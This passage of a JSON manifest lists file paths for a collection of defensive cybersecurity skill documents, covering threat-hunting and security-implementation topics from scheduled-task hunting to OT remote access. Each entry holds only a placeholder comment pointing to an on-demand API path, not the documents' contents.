-->","skills/hunting-for-suspicious-scheduled-tasks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fstandards.md -->","skills/hunting-for-suspicious-scheduled-tasks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fworkflows.md -->","skills/hunting-for-t1098-account-manipulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-t1098-account-manipulation%2FSKILL.md -->","skills/hunting-for-t1098-account-manipulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-t1098-account-manipulation%2Freferences%2Fapi-reference.md -->","skills/hunting-for-unusual-network-connections/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2FSKILL.md -->","skills/hunting-for-unusual-network-connections/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Fassets%2Ftemplate.md -->","skills/hunting-for-unusual-network-connections/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fapi-reference.md -->","skills/hunting-for-unusual-network-connections/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fstandards.md -->","skills/hunting-for-unusual-network-connections/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fworkflows.md -->","skills/hunting-for-unusual-service-installations/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-service-installations%2FSKILL.md -->","skills/hunting-for-unusual-service-installations/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-service-installations%2Freferences%2Fapi-reference.md -->","skills/hunting-for-webshell-activity/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2FSKILL.md -->","skills/hunting-for-webshell-activity/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Fassets%2Ftemplate.md -->","skills/hunting-for-webshell-activity/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fapi-reference.md -->","skills/hunting-for-webshell-activity/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fstandards.md -->","skills/hunting-for-webshell-activity/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fworkflows.md -->","skills/hunting-saas-sso-token-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2FSKILL.md -->","skills/hunting-saas-sso-token-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2Freferences%2Fapi-reference.md -->","skills/hunting-saas-sso-token-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2Freferences%2Fstandards.md -->","skills/implementing-aes-encryption-for-data-at-rest/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2FSKILL.md -->","skills/implementing-aes-encryption-for-data-at-rest/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Fassets%2Ftemplate.md -->","skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fapi-reference.md -->","skills/implementing-aes-encryption-for-data-at-rest/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fstandards.md -->","skills/implementing-aes-encryption-for-data-at-rest/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fworkflows.md -->","skills/implementing-alert-fatigue-reduction/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-alert-fatigue-reduction%2FSKILL.md -->","skills/implementing-alert-fatigue-reduction/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-alert-fatigue-reduction%2Freferences%2Fapi-reference.md -->","skills/implementing-anti-phishing-training-program/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2FSKILL.md -->","skills/implementing-anti-phishing-training-program/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Fassets%2Ftemplate.md -->","skills/implementing-anti-phishing-training-program/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fapi-reference.md -->","skills/implementing-anti-phishing-training-program/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fstandards.md -->","skills/implementing-anti-phishing-training-program/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fworkflows.md -->","skills/implementing-anti-ransomware-group-policy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-ransomware-group-policy%2FSKILL.md -->","skills/implementing-anti-ransomware-group-policy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-ransomware-group-policy%2Freferences%2Fapi-reference.md -->","skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-abuse-detection-with-rate-limiting%2FSKILL.md -->","skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-abuse-detection-with-rate-limiting%2Freferences%2Fapi-reference.md -->","skills/implementing-api-gateway-security-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-gateway-security-controls%2FSKILL.md -->","skills/implementing-api-gateway-security-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-gateway-security-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-api-key-security-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-key-security-controls%2FSKILL.md -->","skills/implementing-api-key-security-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-key-security-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-api-rate-limiting-and-throttling/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-rate-limiting-and-throttling%2FSKILL.md -->","skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-rate-limiting-and-throttling%2Freferences%2Fapi-reference.md -->","skills/implementing-api-schema-validation-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-schema-validation-security%2FSKILL.md -->","skills/implementing-api-schema-validation-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-schema-validation-security%2Freferences%2Fapi-reference.md -->","skills/implementing-api-security-posture-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-posture-management%2FSKILL.md -->","skills/implementing-api-security-posture-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-posture-management%2Freferences%2Fapi-reference.md -->","skills/implementing-api-security-testing-with-42crunch/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-testing-with-42crunch%2FSKILL.md -->","skills/implementing-api-security-testing-with-42crunch/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-testing-with-42crunch%2Freferences%2Fapi-reference.md -->","skills/implementing-api-threat-protection-with-apigee/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-threat-protection-with-apigee%2FSKILL.md -->","skills/implementing-api-threat-protection-with-apigee/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-threat-protection-with-apigee%2Freferences%2Fapi-reference.md -->","skills/implementing-application-whitelisting-with-applocker/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2FSKILL.md -->","skills/implementing-application-whitelisting-with-applocker/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Fassets%2Ftemplate.md -->","skills/implementing-application-whitelisting-with-applocker/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fapi-reference.md -->","skills/implementing-application-whitelisting-with-applocker/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fstandards.md -->","skills/implementing-application-whitelisting-with-applocker/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fworkflows.md -->","skills/implementing-aqua-security-for-container-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2FSKILL.md -->","skills/implementing-aqua-security-for-container-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-aqua-security-for-container-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-aqua-security-for-container-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fstandards.md -->","skills/implementing-aqua-security-for-container-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2FSKILL.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Fassets%2Ftemplate.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fapi-reference.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fstandards.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fworkflows.md -->","skills/implementing-attack-surface-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2FSKILL.md -->","skills/implementing-attack-surface-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2Freferences%2Fapi-reference.md -->","skills/implementing-attack-surface-management/references/asm-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2Freferences%2Fasm-reference.md -->","skills/implementing-aws-config-rules-for-compliance/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-config-rules-for-compliance%2FSKILL.md -->","skills/implementing-aws-config-rules-for-compliance/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-config-rules-for-compliance%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-iam-permission-boundaries/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2FSKILL.md -->","skills/implementing-aws-iam-permission-boundaries/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Fassets%2Ftemplate.md -->","skills/implementing-aws-iam-permission-boundaries/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-iam-permission-boundaries/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fstandards.md -->","skills/implementing-aws-iam-permission-boundaries/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fworkflows.md -->","skills/implementing-aws-macie-for-data-classification/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2FSKILL.md -->","skills/implementing-aws-macie-for-data-classification/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Fassets%2Ftemplate.md -->","skills/implementing-aws-macie-for-data-classification/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-macie-for-data-classification/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fstandards.md -->","skills/implementing-aws-macie-for-data-classification/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fworkflows.md -->","skills/implementing-aws-nitro-enclave-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-nitro-enclave-security%2FSKILL.md -->","skills/implementing-aws-nitro-enclave-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-nitro-enclave-security%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-security-hub-compliance/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub-compliance%2FSKILL.md -->","skills/implementing-aws-security-hub-compliance/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub-compliance%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-security-hub/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub%2FSKILL.md -->","skills/implementing-aws-security-hub/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub%2Freferences%2Fapi-reference.md -->","skills/implementing-azure-ad-privileged-identity-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2FSKILL.md -->","skills/implementing-azure-ad-privileged-identity-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Fassets%2Ftemplate.md -->","skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fapi-reference.md -->","skills/implementing-azure-ad-privileged-identity-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fstandards.md -->","skills/implementing-azure-ad-privileged-identity-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fworkflows.md -->","skills/implementing-azure-defender-for-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-defender-for-cloud%2FSKILL.md -->","skills/implementing-azure-defender-for-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-defender-for-cloud%2Freferences%2Fapi-reference.md -->","skills/implementing-beyondcorp-zero-trust-access-model/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2FSKILL.md -->","skills/implementing-beyondcorp-zero-trust-access-model/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Fassets%2Ftemplate.md -->","skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fapi-reference.md -->","skills/implementing-beyondcorp-zero-trust-access-model/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fstandards.md -->","skills/implementing-beyondcorp-zero-trust-access-model/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fworkflows.md -->","skills/implementing-bgp-security-with-rpki/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-bgp-security-with-rpki%2FSKILL.md -->","skills/implementing-bgp-security-with-rpki/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-bgp-security-with-rpki%2Freferences%2Fapi-reference.md -->","skills/implementing-browser-isolation-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-browser-isolation-for-zero-trust%2FSKILL.md -->","skills/implementing-browser-isolation-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-browser-isolation-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/implementing-canary-tokens-for-network-intrusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-canary-tokens-for-network-intrusion%2FSKILL.md -->","skills/implementing-canary-tokens-for-network-intrusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-canary-tokens-for-network-intrusion%2Freferences%2Fapi-reference.md -->","skills/implementing-cisa-zero-trust-maturity-model/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2FSKILL.md -->","skills/implementing-cisa-zero-trust-maturity-model/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Fassets%2Ftemplate.md -->","skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fapi-reference.md -->","skills/implementing-cisa-zero-trust-maturity-model/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fstandards.md -->","skills/implementing-cisa-zero-trust-maturity-model/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fworkflows.md -->","skills/implementing-cloud-dlp-for-data-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-dlp-for-data-protection%2FSKILL.md -->","skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-dlp-for-data-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-security-posture-management/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2FSKILL.es.md -->","skills/implementing-cloud-security-posture-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2FSKILL.md -->","skills/implementing-cloud-security-posture-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-trail-log-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-trail-log-analysis%2FSKILL.md -->","skills/implementing-cloud-trail-log-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-trail-log-analysis%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-vulnerability-posture-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2FSKILL.md -->","skills/implementing-cloud-vulnerability-posture-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Fassets%2Ftemplate.md -->","skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-vulnerability-posture-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fstandards.md -->","skills/implementing-cloud-vulnerability-posture-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fworkflows.md -->","skills/implementing-cloud-waf-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-waf-rules%2FSKILL.md -->","skills/implementing-cloud-waf-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-waf-rules%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-workload-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-workload-protection%2FSKILL.md -->","skills/implementing-cloud-workload-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-workload-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-code-signing-for-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2FSKILL.md -->","skills/implementing-code-signing-for-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Fassets%2Ftemplate.md -->","skills/implementing-code-signing-for-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fapi-reference.md -->","skills/implementing-code-signing-for-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fstandards.md -->","skills/implementing-code-signing-for-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fworkflows.md -->","skills/implementing-conditional-access-policies-azure-ad/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conditional-access-policies-azure-ad%2FSKILL.md -->","skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conditional-access-policies-azure-ad%2Freferences%2Fapi-reference.md -->","skills/implementing-conduit-security-for-ot-remote-access/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conduit-security-for-ot-remote-access%2FSKILL.md -->","skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md":"<!-- Skill available on-demand via 